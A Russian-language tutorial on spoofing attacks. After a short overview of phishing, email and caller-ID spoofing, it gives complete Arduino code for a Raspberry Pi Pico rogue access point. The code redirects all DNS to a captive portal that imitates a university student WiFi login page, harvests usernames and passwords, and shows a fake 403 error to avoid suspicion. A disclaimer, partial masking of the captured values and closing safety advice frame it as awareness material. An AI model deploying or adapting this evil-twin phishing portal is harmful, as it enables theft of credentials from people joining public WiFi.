Проект 1: СПУФИНГ

spoof_demo

Расскажу про СПУФИНГ – самый легкий и распространенный способ украсть любые данные пользователя путем подмены ресурса к которому идет запрос.

ДИСКЛЕЙМЕР
Данная статья не является каким-то пособием к противозаконным действиям, а основной ее целью является ознакомление читателя с очень опасной и неприятной атакой

Что такое спуфинг?

СПУФИНГ – мошенническая схема, относящаяся скорее к социальной инженерии, чем к чистому хакерству, поскольку в процессе задействована сама жертва, которая, сама того не подозревая, передает данные третьим лица.

Самые распространенные схемы СПУФИНГА:
 1. Создание фишингового сайта со схожим доменным именем, например если мошенник делает дубликат государственного сайта gosuslugi.ru и регистрирует его под доменом gosuslugl.ru, который незаметно отличается от настоящего сайта одной лишь буквой l. Таким образом мошенник имеет полный доступ к введенным данным фишинговом сайте.

2. Спуфинг адреса электронной почты – информацию об отправителе, показанную в электронной почте (поле «От»), можно легко подделать. Этот метод обычно используется спамерами, чтобы скрыть происхождение своей электронной почты и приводит к таким проблемам, как возвращённые письма (то есть спама в электронной почте обратного рассеивания).

3. Спуфинг номера телефона – при исходящем вызове мошенники могут подменять идентификатор номера телефона и представляться сотрудниками банка, гос. учреждений или знакомыми.

3. Подмена точки доступа WIFI – то о чем пойдет речь дальше. 

Подмена точки доступа WIFI 

Наверно самая распространенная из всех схем. Мошенник как правило подменивает страничку авторизации в БЕСПЛАТНОМ WIFI, где требуется ввести либо номер телефона, либо данные соц. сетей.
После того как жертва вводит свои реальные данные, мошенник подключает ее к WIFI, либо перебрасывает на пустую страницу, а сам в то же время использует полученные данные в незаконных целях.
Недавно таким образом взламывали телеграм аккаунты в подмосковных аэропортах.

Будьте осторожны при подключении к беспарольным точкам WIFI!!! 

Как работает?

Теперь рассмотрим как осуществляется подмена точки доступа WIFI, в целях получения данных (логина и пароля) для авторизации в настоящей сети WIFI.

Существует множество готовых инструментов для реализации подобной атаки Man-In-The-Middle (MITM): Fluxion SH, Wifiphisher и.т.д., которые, в случае если у вас подходящая сетевая карта, не требуют дополнительных устройств. Например тот же Fluxion SH может глушить WIFI сеть, но страницы авторизации, которые идут в комплекте уже давно устарели, поэтому придется переписывать под себя.

Итак, в моем примере устройства-спуфера будет использоваться Raspberry PI Pico с WIFI модулем в качестве поддельной точки доступа.
Прошивку под микроконтроллер пишу на Arduino IDE.

rp-pico
Raspberry Pico

ШАГ 1. Крючок с приманкой

Пользователь где-то вводит данные, это где-то – web-страница, клонирующая определенный ресурс, для которого злоумышленник получает данные. Соответственно первым шагом всегда создается поддельная страничка авторизации.

В качестве примера, создадим страницу аутентификацию в университетском WIFI, которая собирает логин и пароль пользователей. Как правило данная страница к точь-в-точь копирует настоящую страницу авторизации в WIFI.

authentification page
Фишинговая страница аутентификации

HTML-код фишинговой страницы авторизации занимает меньше 100 строчек кода, и задается либо в отдельном файле, либо как в этом примере в файле handleHttp.ino

Когда жертва нажмет кнопку “Continue” произойдет передача введенных данных, после чего ее либо перебросит на страницу ошибки, чтобы не вызывать подозрений, либо, что еще хуже, злоумышленник подключит ее к интернету и помимо уже сворованных данных будет собирать всю информацию, переданную по незашифрованным каналам без SSL сертификата, о чем я когда-нибудь обязательно расскажу.
В этом примере происходит переадресация на страницу с ошибкой.

ШАГ 2. Удочка

Удочка – сервер на RP Pico на котором находится фишинговая web-страница.


//main.ino
#include <WiFi.h>
#include <WiFiClient.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <LEAmDNS.h>

/* Set these to your desired softAP credentials. They are not configurable at runtime */
#ifndef APSSID
#define APSSID "TEST NETWORK"
#define APPASS "1234567890"
#endif

const char *softAP_ssid = APSSID;
const char *softAP_pass = APPASS;

/* hostname for mDNS. Should work at least on windows. Try http://picow.local */
const char *myHostname = "pico";

// DNS server
const byte DNS_PORT = 53;
DNSServer dnsServer;

// Web server
WebServer server(80);

/* Soft AP network parameters */
IPAddress apIP(172, 16, 172, 1);
IPAddress netMsk(255, 255, 255, 0);

/** Last time I tried to connect to WLAN */
unsigned long lastConnectTry = 0;

/** Current WLAN status */
unsigned int status = WL_IDLE_STATUS;

void setup() {
  delay(1000);
  Serial.begin(115200);
  Serial.println();
  Serial.println("Configuring access point...");
  /* You can remove the password parameter if you want the AP to be open. */
  WiFi.softAPConfig(apIP, apIP, netMsk);
  WiFi.softAP(softAP_ssid);
  delay(500);  // Without delay I've seen the IP address blank
  Serial.print("AP IP address: ");
  Serial.println(WiFi.softAPIP());

  /* Setup the DNS server redirecting all the domains to the apIP */
  dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
  dnsServer.start(DNS_PORT, "*", apIP);
  
  /* Setup web pages: root, wifi config pages, SO captive portal detectors and not found. */
  server.on("/", handleRoot);
  server.on("/submit", handleSubmit);
  server.on("/success", handleSuccess);
  server.on("/generate_204", handleRoot);  // Android captive portal. Maybe not needed. Might be handled by notFound handler.
  server.on("/fwlink", handleRoot);        // Microsoft captive portal. Maybe not needed. Might be handled by notFound handler.
  server.onNotFound(handleNotFound);
  server.begin();  // Web server start
}

void loop() {
  // DNS
  dnsServer.processNextRequest();
  // HTTP
  server.handleClient();
}

Также создаем отдельный файл handleHttp.ino в котором обрабатываем запросы для каждой страницы:


//handleHttp.ino
//Обработка главной страницы
void handleRoot() {
  if (captivePortal()) {  // If captive portal redirect instead of displaying the page.
    return;
  }
  server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
  server.sendHeader("Pragma", "no-cache");
  server.sendHeader("Expires", "-1");

  String Page1 = R"=====( <!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>Authorization</title>
 </head>
	<body> 
<form method="post" action="/submit">
		<input name="redirurl" type="hidden" value="http://www.gstatic.com/generate_204">
			<center>
<table><tbody><tr><td>
    <center></center>
</td><td>
				<table cellpadding="6" cellspacing="0" width="550" height="380" style="border:1px solid #000000">
					<tbody><tr height="10" bgcolor="#990000">
						<td style="border-bottom:1px solid #000000">
							<font color="white">
  )=====";

  String Page2 = R"=====(
								<b>
									Страница аутентификации
								</b>
							</font>
						</td>
					</tr>
					<tr>
						<td>
							<div id="mainlevel">
								<center>
									<table width="100%" border="0" cellpadding="5" cellspacing="0">
										<tbody><tr>
											<td>
												<center>
													<div id="mainarea">
														<center>
															<table width="100%" border="0" cellpadding="5" cellspacing="5">
																<tbody><tr>
																	<td>
																		<div id="maindivarea">
																			<center>
																				<div id="statusbox">
																					<font color="red" face="arial" size="+1">
																						<b>
																							
																						</b>
																					</font>
																				</div>
																				<br>
  )=====";

  String Page3 = R"=====(
																				<div id="loginbox">
																					<table>
																					   <tbody><tr><td colspan="2"><center>Добро пожаловать в wifi сеть <b>для студентов и аспирантов</b></center></td></tr>
																					   <tr><td colspan="2"><center></center></td></tr>
																					   <tr><td colspan="2"><center>
																					   <tr><td> </td></tr>
																					   <tr><td align="right">Имя пользователя:</td><td><input name="auth_user" type="text" style="border: 1px dashed;"></td></tr>
																					   <tr><td align="right">Пароль:</td><td><input name="auth_pass" type="password" style="border: 1px dashed;"></td></tr>
																					   <tr><td> </td></tr>
																					   <tr><td colspan="2"><center>Для управления доступом рекомендуем выключить</center></td></tr>	
																					   <tr><td colspan="2"><center>"Блокирование всплывающих окон"</center></td></tr><tr><td> </td></tr>
																					   <tr>
																						 <td colspan="2">
																							<center><input name="accept" type="submit" value="Continue"></center>
																						 </td>
																					   </tr>
																					   <tr><td> </td></tr>
																					   <tr><td colspan="2"><center><a href="/">Почтовый сервер для студентов</a></center></td></tr>
																					   <tr><td colspan="2"><center><a href="/">Сайт центра коммуникации</a></center></td></tr>
																					   <tr><td colspan="2"><center><a href="/">Личная страница абонента</a></center></td></tr>
																					</tbody></table>
  )=====";

  String Page4 = R"=====(              </div>
																			</center>
																		</div>
																	</td>
																</tr>
															</tbody></table>
														</center>
													</div>
												</center>
											</td>
										</tr>
									</tbody></table>
								</center>
							</div>
						</td>
					</tr>
				</tbody></table>
</td></tr></tbody></table>
			</center>
		</form>
</body></html>)=====";
  // R"DDD(


  //const char* a = R"=====(<html lang="ru-RU"><meta charset="UTF-8"><head>прив</head></html>)=====";
  server.send(200, "text/html", Page1+Page2+Page3+Page4);
}

//Обработка страницы success
void handleSuccess() {
  if (captivePortal()) {  // If captive portal redirect instead of displaying the error page.
    return;
  }
  server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
  server.sendHeader("Pragma", "no-cache");
  server.sendHeader("Expires", "-1");
  String Page1 = R"====(
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  </head>
  <body>
Ошибка 403<br>
<button><a href="/">Вернуться</a></button>  
</body></html>
)====";
// R"DDD(
  server.send(200, "text/html", Page1+Page2);
}

//Обработка отаправки данных
void handleSubmit() {
  if (captivePortal()){
    return;
  }
  String usr = server.arg("auth_user");
  String pass = server.arg("auth_pass");
  int usr_len = usr.length();
  int pass_len = pass.length();
  for(int i = 1; i < usr_len; i++) 
    usr[i] = '*';
  for(int i = 1; i < pass_len; i++)
    pass[i] = '*';
  Serial.println(usr);
  Serial.println(pass);
  //server.sendHeader("Location", "wifi", true); - если оставить, то не работает переход на другую страницу
  server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
  server.sendHeader("Pragma", "no-cache");
  server.sendHeader("Expires", "-1");
  server.sendHeader("Location", String("http://") + toStringIp(server.client().localIP()) + String("/success"), true);
  server.send(302, "text/plain", "");  // Empty content inhibits Content-length header so we have to close the socket ourselves.
  server.client().stop();              // Stop is needed because we sent no content length
}

// Переброс на Captive, в случае запроса другого домена. Возвращает True в этом случае, тогда обработчики не пытаются снова его обработать
boolean captivePortal() {
  if (!isIp(server.hostHeader()) && server.hostHeader() != (String(myHostname) + ".local")) {
    Serial.println("Request redirected to captive portal");
    server.sendHeader("Location", String("http://") + toStringIp(server.client().localIP()), true);
    server.send(302, "text/plain", "");  // Empty content inhibits Content-length header so we have to close the socket ourselves.
    server.client().stop();              // Stop is needed because we sent no content length
    return true;
  }
  return false;
}

//Обработка ошибки поиска страницы 
void handleNotFound() {
  if (captivePortal()) {  // If captive portal redirect instead of displaying the error page.
    return;
  }
  String message = F("File Not Found\n\n");
  message += F("URI: ");
  message += server.uri();
  message += F("\nMethod: ");
  message += (server.method() == HTTP_GET) ? "GET" : "POST";
  message += F("\nArguments: ");
  message += server.args();
  message += F("\n");

  for (uint8_t i = 0; i < server.args(); i++) {
    message += String(F(" ")) + server.argName(i) + F(": ") + server.arg(i) + F("\n");
  }
  server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
  server.sendHeader("Pragma", "no-cache");
  server.sendHeader("Expires", "-1");
  server.send(404, "text/plain", message);
}

Ну и зависимый файл tools.ino в котором всего-лишь две функции: одна проверяет строку на соответствие формату IP, другая преобразует IP в строку.


//tools.ino
/** Is this an IP? */
boolean isIp(String str) {
  for (size_t i = 0; i < str.length(); i++) {
    int c = str.charAt(i);
    if (c != '.' && (c < '0' || c > '9')) {
      return false;
    }
  }
  return true;
}

/** IP to String? */
String toStringIp(IPAddress ip) {
  String res = "";
  for (int i = 0; i < 3; i++) {
    res += String((ip >> (8 * i)) & 0xFF) + ".";
  }
  res += String(((ip >> 8 * 3)) & 0xFF);
  return res;
}

Сервер готов. Теперь если загрузить эту программу на RP Pico, вы сразу увидите в общем доступе новую точку доступа с названием "TEST NETWORK". Если вы попробуете к ней подключиться, вас сразу перебросит на страницу авторизации, которую еще иногда называют Captive Portal.

spoof_demo

Все данные, которые получает RP Pico передаются в последовательный порт с отображение только первого символа... Я ведь делаю все с целью предостеречь вас!!!)

Вывод

Сейчас многие заведения и торговые центры как правило делают авторизацию через web-страницы с действительным сертификатом, которые находятся в общем доступе и через которые подтверждается достоверность источника, об этом тоже расскажу в будущем.

Однако будьте крайне осторожны при подключении к неизвестным беспарольным сетям, если эти сети при подключении требуют ввести персональную информацию, то лучше сразу обойти их стороной или ввести те данные, которые не боитесь отдать злоумышленнику.